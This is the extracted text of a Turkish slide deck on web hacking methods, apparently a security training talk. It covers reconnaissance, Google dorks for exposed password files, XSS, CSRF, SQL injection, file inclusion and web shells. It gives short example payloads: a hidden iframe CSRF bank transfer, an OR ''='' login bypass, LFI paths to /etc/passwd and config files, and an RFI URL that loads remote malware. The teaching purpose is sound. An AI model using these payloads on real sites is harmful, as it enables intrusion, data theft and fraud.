Web Hacking Yöntemleri Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Danışmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr facebook.com/EPICROUTERSS ~ twitter.com/EPICROUTERS
Bilgi Teknolojileri Güvenlik Danışmanı White Hat Hacker Eyüp ÇELİK Kimdir? Bilgi Teknolojileri Güvenlik Danışmanı White Hat Hacker Ethical Hacking Eğitmeni Blog Yazarı (www.eyupcelik.com.tr) Web Güvenliği Editörü (www.webguvenligi.net) LabSec Community - Güvenlik Ekip Lideri Anatolia Security - Proje Takım Lideri Güvenlik Araştırmacısı (Security Research) PacketStormSecurity.org Exploit-db.com Secunia.com
Ajanda Web Hacking Yöntemleri Bilgi Toplama Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi Hata Mesajlarından Bilgi Toplama Arama Motorlarından Bilgi Toplama Alt Dizin ve Admin Panel Keşfi Web Güvenlik Testlerinde Kişisel Proxyler OWASP Top 10 Açıklık Rehberi XSS, CSRF Açıkları ve Kötüye Kullanımı XSS, CSRF Nedir? XSS, CSRF Kullanımı SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları SQL Injection ve Blind SQL Injection Nedir? SQL – Blind SQL Kullanımı SQL Injection Örnekleri Arama Motorlarından Zafiyet Arama Havij, Sqlmap, SQL Finder, Pangolin File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları Local File Inclusion (LFI) Remote File Inclusion (RFI) Web Shell Web Shell Kavramları ve Kullanım Amaçları PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Whois www.whois.sc Bilgi Toplama
DNS Record www.intodns.com Bilgi Toplama
DNS Record Maltego Bilgi Toplama
Web Sunucusu, Programlama Dili, Portlar Bilgi Toplama
Sık karşılaşılan hata kodları 400 (Söz dizimi çözülemedi) 403 (Yasak) Hata Mesajlarından Bilgi Toplama Sık karşılaşılan hata kodları 400 (Söz dizimi çözülemedi) 403 (Yasak) 404 (Bulunamadı) 405 (Yönteme izin verilmiyor) 500 (Dahili sunucu hatası) 505 (HTTP sürümü desteklenmiyor) Bilgi Toplama
www.archive.org (Web Arşiv) www.google.com Arama Motorlarından Bilgi Toplama www.archive.org (Web Arşiv) www.google.com site: eyupcelik.com.tr Filetype:txt Password 123123 filetype:xml Password 123123 filetype:xml site:site.com.tr intitle:index.of Intitle:index.of site:gov.tr intitle:index.of pwd.db passwd site:com Microsoft-IIS/5.0 server at Apache/2.2 Server at www.bing.com IP: 192.168.1.100 Kariyer Siteleri (Kariyer.net, yenibiris.com. SecretCV) Bilgi Toplama
Arama Motorlarından Bilgi Toplama - 2
Alt Dizin ve Admin Panel Keşfi Bilgi Toplama
Ajanda Web Hacking Yöntemleri Bilgi Toplama Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi Hata Mesajlarından Bilgi Toplama Arama Motorlarından Bilgi Toplama Alt Dizin ve Admin Panel Keşfi Web Güvenlik Testlerinde Kişisel Proxyler OWASP Top 10 Açıklık Rehberi XSS, CSRF Açıkları ve Kötüye Kullanımı XSS, CSRF Nedir? XSS, CSRF Kullanımı SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları SQL Injection ve Blind SQL Injection Nedir? SQL – Blind SQL Kullanımı SQL Injection Örnekleri Arama Motorlarından Zafiyet Arama Havij, Sqlmap, SQL Finder, Pangolin File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları Local File Inclusion (LFI) Remote File Inclusion (RFI) Web Shell Web Shell Kavramları ve Kullanım Amaçları PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Kişisel Proxyler (OWASP ZAP)
XSS – CSRF Açıkları ve Kötüye Kullanımı XSS Nedir? Sunucuya gönderilen yazılım betiklerinin (script) kullanıcının tarayıcısında çalıştığı bir saldırı türüdür. PHP-ASP-ASP.NET Sayfalarında sıklıkla görülür. Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur. Yazılım betiklerinin kullanıcı tarafında çalıştırılması sonucunda oturum bilgileri çalınabilir, bilgisayarına zararlı kodlar enjekte edilebilir ve bilgisayar yönetimi ele geçirilebilir. En çok karşılaşılan güvenlik zafiyetidir! XSS – CSRF Açıkları ve Kötüye Kullanımı
Stored (Persistent) XSS Attack XSS Zafiyet Türevleri XSS Reflected XSS Attack Stored (Persistent) XSS Attack XSS – CSRF Açıkları ve Kötüye Kullanımı
Reflected XSS Saldırısı URL adreslerindeki querystringler ve form alanlarında sıklıkla görülür. En çok karşılaşılan XSS saldırı türevidir. Kullanıcı taraflı çalışır. Phishing saldırılarına zemin oluşturur. XSS – CSRF Açıkları ve Kötüye Kullanımı
Stored (Persistent) XSS Saldırısı Forumlar, ziyaretçi defterleri gibi alanlarda sıklıkla görülür. XSS kodları database sunucusuna kaydedilir. Kullanıcılar sayfaya eriştiklerinde XSS kodları çalışır ve amaca hizmet eder. XSS – CSRF Açıkları ve Kötüye Kullanımı
CSRF (Cross Site Request Forgery) Saldırısı XSS saldırısına benzer Web uygulamasının oturum zaman aşımlarını kullanmamasından kaynaklanır. XSS saldırılarının aksine CSRF saldırıları kullanıcı bazlıdır. Bu saldırı türünde, kullanıcının isteği dışında kullanıcıya işlemler yaptırılır. Banka hesaplarından para transferi, uygulama yetki yükseltme saldırıları gibi bir çok işlem bu saldırı yöntemi ile yapılabilmektedir. Saldırganın amacı; yetkisi olmayan alanlarda istediği işlemi yetkisi olan bir kullanıcıya yaptırmaktır. Örneğin; ING Direct bankasında bulunan CSRF zafiyeti, kullanıcının belirtilen hesaba para transfer etmesini sağlamaktaydı. XSS – CSRF Açıkları ve Kötüye Kullanımı
CSRF (Cross Site Request Forgery) Saldırısı - Örnek Web sitesinde oturum açan bir kullanıcı, eğer aynı zamanda zararlı kodun bulunduğu sayfaya erişirse, hesabından başka bir hesaba para aktarılıyor Kullanıcı uygulamayı açtıktan sonra, zararlı sayfada http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1 kodu çalıştırılır. Bunun için saldırgan yukarıda bulunan kodu sayfasında <img> veya <iframe> tagları arasına yerleştirir. Bu tagler kullanıcının görmemesi için <img src=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”> şeklinde yada <iframe src=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”> şeklinde olacaktır. Bu kodlar kullanıcı tarafında çalışınca, Eyup adlı kullanıcın hesabından Ismail adlı kullanıcın hesabına 500 TL aktarmış olacaktır. XSS – CSRF Açıkları ve Kötüye Kullanımı
OWASP TOP 10 Rehberi - 1 Web Hacking Yöntemleri Bilgi Toplama Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi Hata Mesajlarından Bilgi Toplama Arama Motorlarından Bilgi Toplama Alt Dizin ve Admin Panel Keşfi Web Güvenlik Testlerinde Kişisel Proxyler OWASP Top 10 Açıklık Rehberi XSS, CSRF Açıkları ve Kötüye Kullanımı XSS, CSRF Nedir? XSS, CSRF Kullanımı SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları SQL Injection ve Blind SQL Injection Nedir? SQL – Blind SQL Kullanımı SQL Injection Örnekleri Arama Motorlarından Zafiyet Arama Havij, Sqlmap, SQL Finder, Pangolin File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları Local File Inclusion (LFI) Remote File Inclusion (RFI) Web Shell Web Shell Kavramları ve Kullanım Amaçları PHP, ASP, JSP, ASP.NET Shell Çeşitleri
SQL Injection Nedir? Veritabanından sorgulamalar yapılırken, sorgulara bazı karakterlerin (‘) eklenerek yetkisiz sorgulamalar yapılmasıdır. SQL injection yöntemi ile sql sunucusunda bulunan verilere erişilebilir, değiştirilebilir , silinebilir SQL Injection son zamanlarda en tehlikeli saldırı türlerinden biri haline geldi. Web uygulamalarında bulunan SQL sorgularının doğru bir şekilde analiz edilmeden SQL sunucusuna aktarılmasından kaynaklanan bir saldırı türüdü SQL’de iki tek tırnak (‘) yan yana gelince arada bulunan kodlar “string” olarak kabul edilir. Örneğin; bir userın form alanına giriş yapacağı zaman girmiş olduğu input değerler kontrol edilirken sql cümlecikleri kullanılır. SELECT * from kullanicilar where isim=‘eyup’ and sifre=‘x9x9’ Böyle bir durumda, kullanıcılar tablosunda bulunan isim kolonunda “eyup” varsa ve sifre kolonıundaki şifresi de eğer “x9x9” ise kullanıcı oturum açmış olacaktır. Kullanıcının form alanına girmiş olduğu input veriler where koşuluna atanmaktadır. SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
SQL Injection Nedir? Bu mantıkla çalışan bir sitede sql injection saldırısı yapacaksak eğer, bize kullanıcı adı ve şifreyi her zaman döndürecek bir koda ihityacımız olacaktır. Select * from kullanicilar where isim=‘’ OR ‘’ = ‘’ and sifre= ‘’ OR ‘’ = ‘’ Kullanıcılar tablosundaki isim kolonu ve sifre kolonu boş olan kullanıcıları istemiş olduk. SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
Error Based SQL Injection Nedir? ODBC (Open Database Connectivity) verikaynakları üzerinde veri taşımaya yarayan bir araçtır. Bu işlemi verikaynağı ve uygulama arasında bir katman oluşturarak gerçekleştirir. Error Based SQL Injection saldırıları, ODBC’nin verdiği hatalardan faydalanarak verilere erişmeye çalışır. Çoğunlukla SQL Union operatöründen faydalanılarak bu hata verilerine erişilir. SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
Blind (Kör) SQL Injection Nedir? SQL injectionda kullanılan karakterlerin sonuç vermediği durumlarda kullanılan bir saldırı yöntemidir. Bu yöntem alınan hataların True veya False kısmı ile ilgilenir. SQL üzerinde yapılan sorgulamaların doğru veya yanlış olduğu sonuçlarını bize geri döndürür. Blind SQL Injection ile yapılan yöntemler deneme-yanılma yöntemi ile yapılır. SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
Arama Motorlarından Zafiyet Arama SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
Arama Motorlarından Zafiyet Arama - 2 SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
Havij SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanılması
Ajanda Web Hacking Yöntemleri Bilgi Toplama Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi Hata Mesajlarından Bilgi Toplama Arama Motorlarından Bilgi Toplama Alt Dizin ve Admin Panel Keşfi Web Güvenlik Testlerinde Kişisel Proxyler OWASP Top 10 Açıklık Rehberi XSS, CSRF Açıkları ve Kötüye Kullanımı XSS, CSRF Nedir? XSS, CSRF Kullanımı SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları SQL Injection ve Blind SQL Injection Nedir? SQL – Blind SQL Kullanımı SQL Injection Örnekleri Arama Motorlarından Zafiyet Arama Havij, Sqlmap, SQL Finder, Pangolin File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları Local File Inclusion (LFI) Remote File Inclusion (RFI) Web Shell Web Shell Kavramları ve Kullanım Amaçları PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Local File Inclusion (LFI) Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir Sunucuda bulunan dosyaların çağrılmasına ve okunabilmesine olanak verir Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir! index.php?SayfaAc=iletisim.php index.php?SayfaAc=../../configuration.php index.php?SayfaAc=../../../../etc/passwd index.php?SayfaAc=../../../boot.ini File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanılması
Remote File Inclusion (RFI) Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir RFI saldırılarında en büyük etken değişkene değer atanmamasıdır! Tanımlanmış ancak değer atanmamış olan değişkene dışardan değer aktarılması ile oluşur. Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir! include($deger”.php”) index.php?deger=http://www.site.com/malware.txt File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanılması
C99, R57 Web Shell
Teşekkürler Sorular?